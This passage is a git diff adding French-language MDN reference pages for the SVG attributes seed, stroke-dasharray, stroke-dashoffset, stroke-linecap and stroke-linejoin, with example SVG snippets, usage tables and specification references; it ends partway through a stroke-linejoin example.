+title: seed
+slug: Web/SVG/Attribute/seed
+tags:
+  - Attribut SVG
+  - Filtre
+translation_of: Web/SVG/Attribute/seed
+---
+<p>« <a href="/fr/docs/Web/SVG/Attribute" title="en/SVG/Attribute">Page de référence des attributs SVG</a></p>
+
+<p>L'attribut <code>seed</code> représente le nombre palier pour la pseudo génération d'un nombre aléatoire via la primitive {{SVGElement("feTurbulence")}}.</p>
+
+<p>Si l'attribut n'est pas spécifié, alors le palier sera fixé à <strong>0</strong>.</p>
+
+<h2 id="Contexte_d'usage">Contexte d'usage</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td><em>Aucun</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><a href="/en-US/docs/SVG/Content_type#Number" title="/en-US/docs/SVG/Content_type#Number">&lt;number&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Document normatif</th>
+   <td><a href="http://www.w3.org/TR/SVG11/filters.html#feTurbulenceSeedAttribute" rel="external" title="http://www.w3.org/TR/SVG11/filters.html#feTurbulenceSeedAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Éléments">Éléments</h2>
+
+<p>Les éléments suivants peuvent être utilisés avec l'attribut <code>seed </code> :</p>
+
+<ul>
+ <li>{{ SVGElement("feTurbulence") }}</li>
+</ul>
diff --git a/files/fr/web/svg/attribute/stroke-dasharray/index.html b/files/fr/web/svg/attribute/stroke-dasharray/index.html
new file mode 100644
index 0000000000..e082fc487e
--- /dev/null
+++ b/files/fr/web/svg/attribute/stroke-dasharray/index.html
@@ -0,0 +1,89 @@
+---
+title: stroke-dasharray
+slug: Web/SVG/Attribute/stroke-dasharray
+tags:
+  - Attribut SVG
+  - SVG
+translation_of: Web/SVG/Attribute/stroke-dasharray
+---
+<p>L'attribut <code>stroke-dasharray</code> contrôle le motif et l'espacement entre les segments utilisés pour tracer le contour d'un élément via l'attribut stroke. L'attribut définit ainsi un motif constitué d'une suite de segments et de vides dont la forme se rapprochera d'une ligne de pointillés. </p>
+
+<p class="note"><strong>Note:</strong> Comme il s'agit d'un attribut de présentation, <code>stroke-dasharray </code>peut aussi être utilisé directement dans une feuille de style CSS.</p>
+
+<p>Les éléments suivants peuvent utiliser l'attribut <code>stroke-dasharray</code>: {{SVGElement('altGlyph')}}, {{SVGElement('circle')}}, {{SVGElement('ellipse')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 30 10" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+
+    &lt;line                                  x1="0" y1="1" x2="30" y2="1" stroke="black" /&gt;
+    &lt;line stroke-dasharray="4"             x1="0" y1="3" x2="30" y2="3" stroke="black" /&gt;
+    &lt;line stroke-dasharray="4, 1"          x1="0" y1="5" x2="30" y2="5" stroke="black" /&gt;
+    &lt;line stroke-dasharray="4, 1, 2"       x1="0" y1="7" x2="30" y2="7" stroke="black" /&gt;
+    &lt;line stroke-dasharray="4, 1, 2, 3"    x1="0" y1="9" x2="30" y2="9" stroke="black" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Exemple', '220', '150', '', 'Web/SVG/Attribute/stroke-dasharray') }}</p>
+
+<h2 id="Contexte_d'usage">Contexte d'usage</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td>Attribut de présentation</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong title="this is the default value">none</strong> | &lt;dasharray&gt; | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Document normatif</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/painting.html#StrokeDasharrayProperty" title="http://www.w3.org/TR/SVG/painting.html#StrokeDasharrayProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>&lt;dasharray&gt;</dt>
+ <dd>Il s'agit d'une liste de mesures <span><a href="/en/SVG/Content_type#Length" title="en/SVG/Content_type#Length">&lt;length&gt;</a> et</span> <a href="/en/SVG/Content_type#Percentage" title="en/SVG/Content_type#Percentage">&lt;percentage&gt;</a> séparées par des virgules ou des espaces blancs. Ils permettent de spécifier la longeur de l'alternance entre segments et vides. Si un nombre impair de valeurs est entré, alors la liste sera répartie afin de créer un nombre pair de valeurs par répétition. Ainsi, <strong>5,3,2</strong> sera rendu comme <strong>5,3,2,5,3,2</strong>.</dd>
+</dl>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("svg.attributes.presentation.stroke-dasharray")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#StrokeDasharrayProperty", "stroke-dasharray")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour les formes et textes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#StrokeDasharrayProperty", "stroke-dasharray")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les formes et textes</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/stroke-dashoffset/index.html b/files/fr/web/svg/attribute/stroke-dashoffset/index.html
new file mode 100644
index 0000000000..e500cc9a77
--- /dev/null
+++ b/files/fr/web/svg/attribute/stroke-dashoffset/index.html
@@ -0,0 +1,115 @@
+---
+title: stroke-dashoffset
+slug: Web/SVG/Attribute/stroke-dashoffset
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/stroke-dashoffset
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>stroke-dashoffset</code></strong> décale la position de départ des pointillés sur les lignes SVG.</p>
+
+<p class="note"><strong>Note:</strong> <code>stroke-dashoffset</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<p>Cet attribut peut être appliqué sur tous les éléments, en revanche il n'aura d'effet que sur les éléments suivants: {{SVGElement('altGlyph')}}, {{SVGElement('circle')}}, {{SVGElement('ellipse')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-3 0 33 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Pas de tiret --&gt;
+  &lt;line x1="0" y1="1" x2="30" y2="1" stroke="black" /&gt;
+
+  &lt;!-- Pas de décalage --&gt;
+  &lt;line x1="0" y1="3" x2="30" y2="3" stroke="black"
+        stroke-dasharray="3 1" /&gt;
+
+  &lt;!--
+  Le début des tirets est décalé
+  de 3 unités vers la gauche
+  --&gt;
+  &lt;line x1="0" y1="5" x2="30" y2="5" stroke="black"
+        stroke-dasharray="3 1"
+        stroke-dashoffset="3" /&gt;
+
+  &lt;!--
+  Le début des tirets est décalé
+  de 3 unités vers la droite (-3)
+  --&gt;
+  &lt;line x1="0" y1="7" x2="30" y2="7" stroke="black"
+        stroke-dasharray="3 1"
+        stroke-dashoffset="-3" /&gt;
+
+  &lt;!--
+  Le début des tirets est décalé
+  de 1 unité vers la gauche
+  ce qui affiche la même chose que l'exemple précédent
+  --&gt;
+  &lt;line x1="0" y1="9" x2="30" y2="9" stroke="black"
+        stroke-dasharray="3 1"
+        stroke-dashoffset="1" /&gt;
+
+  &lt;!--
+  Lignes rouges pour indiquer la position
+  de départ des tirets
+  --&gt;
+  &lt;path d="M0,5 h-3 M0,7 h3 M0,9 h-1" stroke="rgba(255,0,0,.5)" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="Notes_d'usage">Notes d'usage</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/en/SVG/Content_type#Percentage" title="en/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong> | <strong><a href="/en/SVG/Content_type#Length" title="en/SVG/Content_type#Length"><span>&lt;length&gt;</span></a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Le décalage est généralement exprimé en unités résolues par {{SVGAttr('pathLength')}} mais si un <a href="/en/SVG/Content_type#Percentage" title="en/SVG/Content_type#Percentage">&lt;percentage&gt;</a> est utilisé, alors la valeur est résolue en pourcentage du viewport.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.stroke-dashoffset")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#StrokeDashoffsetProperty", "stroke-dashoffset")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour les formes et le texte</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#StrokeDashoffsetProperty", "stroke-dashoffset")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les formes et le texte</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/stroke-linecap/index.html b/files/fr/web/svg/attribute/stroke-linecap/index.html
new file mode 100644
index 0000000000..0a911068f3
--- /dev/null
+++ b/files/fr/web/svg/attribute/stroke-linecap/index.html
@@ -0,0 +1,195 @@
+---
+title: stroke-linecap
+slug: Web/SVG/Attribute/stroke-linecap
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/stroke-linecap
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>stroke-linecap</code></strong> définit la forme de la fin des lignes SVG.</p>
+
+<p class="note"><strong>Note:</strong> <code>stroke-linecap</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<p>Cet attribut peut être appliqué à tous les éléments, en revanche il n'aura d'effet que sur les éléments suivants: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, et {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- Effet de la valeur "butt" (valeur par défaut) --&gt;
+  &lt;line x1="1" y1="1" x2="5" y2="1" stroke="black"
+        stroke-linecap="butt" /&gt;
+
+  &lt;!-- Effet de la valeur "round" --&gt;
+  &lt;line x1="1" y1="3" x2="5" y2="3" stroke="black"
+        stroke-linecap="round" /&gt;
+
+  &lt;!-- Effet de la valeur "square" --&gt;
+  &lt;line x1="1" y1="5" x2="5" y2="5" stroke="black"
+        stroke-linecap="square" /&gt;
+
+  &lt;!--
+  Les lignes roses indiquent la position
+  du chemin pour chaque trait
+  --&gt;
+  &lt;path d="M1,1 h4 M1,3 h4 M1,5 h4" stroke="pink" stroke-width="0.025" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="Notes_d'usage">Notes d'usage</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>butt</code> | <code>round</code> | <code>square</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>butt</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="butt">butt</h3>
+
+<p>La valeur <code>butt</code> indique que le trait de chaque chemin ne s'étend pas au-delà de ses extremités. Un chemin de longueur zéro ne s'affichera pas du tout.</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- Effet de la valeur "butt" --&gt;
+  &lt;path d="M1,1 h4" stroke="black"
+        stroke-linecap="butt" /&gt;
+
+  &lt;!-- Effet de la valeur "butt" sur un chemin de longueur zéro --&gt;
+  &lt;path d="M3,3 h0" stroke="black"
+        stroke-linecap="butt" /&gt;
+
+
+  &lt;!--
+  Lignes roses pour indiquer la position
+  du chemin pour chaque trait
+  --&gt;
+  &lt;path d="M1,1 h4" stroke="pink" stroke-width="0.025" /&gt;
+  &lt;circle cx="1" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="5" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="3" cy="3" r="0.05" fill="pink" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('butt', '100%', 200)}}</p>
+
+<h3 id="round">round</h3>
+
+<p>La valeur <code>round</code> indique que la fin de chaque trait sera prolongé d'un demi-cerlce de diamètre égal à la la largeur du trait. Pour un chemin de longueur zéro, un cercle complet est affiché.</p>
+
+<h4 id="Exemple_2">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- Effet de la valeur "round" --&gt;
+  &lt;path d="M1,1 h4" stroke="black"
+        stroke-linecap="round" /&gt;
+
+  &lt;!-- Effet de la valeur "round" sur un chemin de longueur zéro --&gt;
+  &lt;path d="M3,3 h0" stroke="black"
+        stroke-linecap="round" /&gt;
+
+
+  &lt;!--
+  Lignes roses pour indiquer la position
+  du chemin pour chaque trait
+  --&gt;
+  &lt;path d="M1,1 h4" stroke="pink" stroke-width="0.025" /&gt;
+  &lt;circle cx="1" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="5" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="3" cy="3" r="0.05" fill="pink" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('round', '100%', 200)}}</p>
+
+<h3 id="square">square</h3>
+
+<p>La valeur <code>square</code> indique que la fin de chaque trait sera prolongé par un rectangle d'une taille égale à la moitié de l'épaisseur du contour. Pour un chemin de longueur zéro, seul un rectangle est affiché, de la longueur de l'épaisseur du contour, et centré autour de la position du chemin.</p>
+
+<h4 id="Exemple_3">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- Effet de la valeur "square" --&gt;
+  &lt;path d="M1,1 h4" stroke="black"
+        stroke-linecap="square" /&gt;
+
+  &lt;!-- Effet de la valeur "square" sur un chemin de longueur zéro --&gt;
+  &lt;path d="M3,3 h0" stroke="black"
+        stroke-linecap="square" /&gt;
+
+  &lt;!--
+  Les lignes roses indiquent la position
+  du chemin pour chaque trait
+  --&gt;
+  &lt;path d="M1,1 h4" stroke="pink" stroke-width="0.025" /&gt;
+  &lt;circle cx="1" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="5" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="3" cy="3" r="0.05" fill="pink" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('square', '100%', 200)}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.stroke-linecap")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#StrokeLinecapProperty", "stroke-linecap")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour les formes et le texte</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#StrokeLinecapProperty", "stroke-linecap")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les formes et le texte</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/stroke-linejoin/index.html b/files/fr/web/svg/attribute/stroke-linejoin/index.html
new file mode 100644
index 0000000000..0446a67b2a
--- /dev/null
+++ b/files/fr/web/svg/attribute/stroke-linejoin/index.html
@@ -0,0 +1,312 @@
+---
+title: stroke-linejoin
+slug: Web/SVG/Attribute/stroke-linejoin
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/stroke-linejoin
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>stroke-linejoin</code></strong> définit la manière de dessiner la liaison entre deux segments de ligne.</p>
+
+<div class="blockIndicator note"><strong>Note:</strong> <code>stroke-linejoin</code> étant un attribut de présentation, il peut être utililsé comme propriété CSS.</div>
+
+<p>Cet attribut peut être appliqué sur tous les éléments, en revanche il n'aura d'effet que sur les éléments suivants: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, et {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 18 12" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!--
+  Chemin en haut à gauche:
+  Effet de la valeur "miter"
+  --&gt;
+  &lt;path d="M1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none"
+        stroke-linejoin="miter" /&gt;
+
+  &lt;!--
+  Chemin en haut au milieu:
+  Effet de la valeur "round"
+  --&gt;
+  &lt;path d="M7,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none"
+        stroke-linejoin="round" /&gt;
+
+  &lt;!--
+  Chemin en haut à droite:
+  Effet de la valeur "bevel"
+  --&gt;
+  &lt;path d="M13,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none"
+        stroke-linejoin="bevel" /&gt;
+
+  &lt;!--
+  Chemin en bas à gauche:
+  Effet de la valeur "miter-clip"
+  se replit sur la valeur par défaut (miter) si non pris en charge
+  --&gt;
+  &lt;path d="M3,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none"
+        stroke-linejoin="miter-clip" /&gt;
+
+  &lt;!--
+  Chemin en bas à droite:
+  Effet de la valeur "arcs"
+  se replit sur la valeur par défaut (miter) si non pris en charge
+  --&gt;
+  &lt;path d="M9,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none"
+        stroke-linejoin="arcs" /&gt;
+
+  &lt;!--
+  Lignes roses qui indiquent la position
+  du chemin pour chaque trait
+  --&gt;
+  &lt;g id="highlight"&gt;
+    &lt;path d="M1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5"
+          stroke="pink" fill="none" stroke-width="0.025" /&gt;
+    &lt;circle cx="1" cy="5"   r="0.05" fill="pink" /&gt;
+    &lt;circle cx="3" cy="2"   r="0.05" fill="pink" /&gt;
+    &lt;circle cx="5" cy="5.5" r="0.05" fill="pink" /&gt;
+  &lt;/g&gt;
+  &lt;use xlink:href="#highlight" x="6" /&gt;
+  &lt;use xlink:href="#highlight" x="12" /&gt;
+  &lt;use xlink:href="#highlight" x="2" y="6" /&gt;
+  &lt;use xlink:href="#highlight" x="8" y="6" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 400)}}</p>
+</div>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>arcs</code> | <code>bevel</code> |<code>miter</code> | <code>miter-clip</code> | <code>round</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>miter</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="arcs">arcs</h3>
+
+<div class="blockIndicator note"><strong>Note:</strong> La valeur <code>arcs</code> a été introduite en SVG2 et n'est pas souvent pris en charge pour le moment, voir {{anch("Compatibilité des navigateurs")}} ci-dessous pour plus de détails.</div>
+
+<p>La valeur <code>arcs</code> indique qu'un arc est utilisé pour joindre les segments du chemin. L'arc est formé en prolongeant les bords extérieurs du trait au point de liaison, avec la même courbe que ce bord.</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Effet de la valeur "arcs" --&gt;
+  &lt;path d="M1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="black" fill="none"
+        stroke-linejoin="arcs" /&gt;
+
+  &lt;!--
+  Lignes roses qui indiquent la position
+  du chemin pour chaque trait
+  --&gt;
+  &lt;g id="p"&gt;
+    &lt;path d="M1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3"
+          stroke="pink" fill="none" stroke-width="0.025" /&gt;
+    &lt;circle cx="1" cy="5" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="3" cy="2" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="5" cy="5" r="0.05" fill="pink" /&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('arcs', '100%', 200)}}</p>
+
+<h3 id="bevel">bevel</h3>
+
+<p>La valeur <code>bevel</code> indique qu'un coin biseauté est utilisé pour joindre les segments du chemin.</p>
+
+<h4 id="Exemple_2">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Effet de la valeur "bevel" --&gt;
+  &lt;path d="M1,5 l2,-3 l2,3" stroke="black" fill="none"
+        stroke-linejoin="bevel" /&gt;
+
+  &lt;!--
+  Lignes roses qui indiquent la position
+  du chemin pour chaque trait
+  --&gt;
+  &lt;g id="p"&gt;
+    &lt;path d="M1,5 l2,-3 l2,3"
+          stroke="pink" fill="none" stroke-width="0.025" /&gt;
+    &lt;circle cx="1" cy="5" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="3" cy="2" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="5" cy="5" r="0.05" fill="pink" /&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('bevel', '100%', 200)}}</p>
+
+<h3 id="miter">miter</h3>
+
+<p>La valeur <code>miter</code> indique qu'un angle droit est utilisé pour joindre les segments du chemin. Le coin est formé en prolongeant les bords extérieurs du trait jusqu'à ce qu'ils se joignent.</p>
+
+<div class="blockIndicator note"><strong>Note:</strong> Si la longueur du coin dépasse {{SVGAttr('stroke-miterlimit')}}, un coin de type <code>bevel</code> est utilisé à la place.</div>
+
+<h4 id="Exemple_3">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 -1 10 7" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Effet de la valeur "miter" --&gt;
+  &lt;path d="M1,5 l2,-3 l2,3" stroke="black" fill="none"
+        stroke-linejoin="miter" /&gt;
+
+  &lt;!-- Effet de la valeur "miter" sur un angle aigu
+       où la limite stroke-miterlimit est dépassée --&gt;
+  &lt;path d="M7,5 l0.75,-3 l0.75,3" stroke="black" fill="none"
+        stroke-linejoin="miter" /&gt;
+
+  &lt;!-- Ligne rouge pointillé qui indique la limite
+       à partir de laquelle une liaison miter devient bevel --&gt;
+  &lt;path d="M0,0 h10" stroke="red" stroke-dasharray="0.05"  stroke-width="0.025"/&gt;
+
+  &lt;!--
+  Lignes roses qui indiquent la position
+  du chemin pour chaque trait
+  --&gt;
+  &lt;g&gt;
+    &lt;path d="M1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /&gt;
+    &lt;circle cx="1" cy="5" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="3" cy="2" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="5" cy="5" r="0.05" fill="pink" /&gt;
+
+    &lt;path d="M7,5 l0.75,-3 l0.75,3" stroke="pink" fill="none" stroke-width="0.025" /&gt;
+    &lt;circle cx="7"    cy="5" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="7.75" cy="2" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="8.5"  cy="5" r="0.05" fill="pink" /&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('miter', '100%', 200)}}</p>
+
+<h3 id="miter-clip">miter-clip</h3>
+
+<div class="blockIndicator note"><strong>Note:</strong> La valeur <code>miter-clip</code> a été introduite en SVG2 et n'est pas souvent pris en charge pour le moment, voir {{anch("Compatibilité des navigateurs")}} ci-dessous pour plus de détails.</div>
+
+<p>La valeur <code>miter-clip</code> indique qu'un angle droit est utilisé pour joindre les segments du chemin. Le coin est formé en prolongeant les bords extérieurs du trait jusqu'à ce qu'ils se joignent.</p>
+
+<p>Si la longueur du coin dépasse {{SVGAttr('stroke-miterlimit')}}, le coin tronqué à une distance égale à la moitié de la valeur de {{SVGAttr('stroke-miterlimit')}} multiplié par l'épaisseur du trait. Cela fournit un meilleur rendu que <code>miter</code> sur les angles très aigus et dans le cas d'une animation.</p>
+
+<h4 id="Exemple_4">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 -1 10 7" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Effet de la valeur "miter-clip" --&gt;
+  &lt;path d="M1,5 l2,-3 l2,3" stroke="black" fill="none"
+        stroke-linejoin="miter-clip" /&gt;
+
+  &lt;!-- Effet de la valeur "miter-clip" sur un angle aigu
+       où la limite stroke-miterlimit est dépassée --&gt;
+  &lt;path d="M7,5 l0.75,-3 l0.75,3" stroke="black" fill="none"
+        stroke-linejoin="miter-clip" /&gt;
+
+  &lt;!-- Ligne rouge pointillé qui indique la limite
+       à partir de laquelle le coin sera tronqué --&gt;
+  &lt;path d="M0,0 h10" stroke="red" stroke-dasharray="0.05"  stroke-width="0.025"/&gt;
+
+  &lt;!--
+  Lignes roses qui indiquent la position
+  du chemin pour chaque trait
+  --&gt;
+  &lt;g&gt;
+    &lt;path d="M1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /&gt;
+    &lt;circle cx="1" cy="5" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="3" cy="2" r="0.05" fill="pink" /&gt;
+    &lt;circle cx="5" cy="5" r="0.05" fill="pink" /&gt;
+
+    &lt;path d="M7,5 l0.75,-3 l0.75,3" stroke="pink" fill="none" stroke-width="0.025" /&gt;
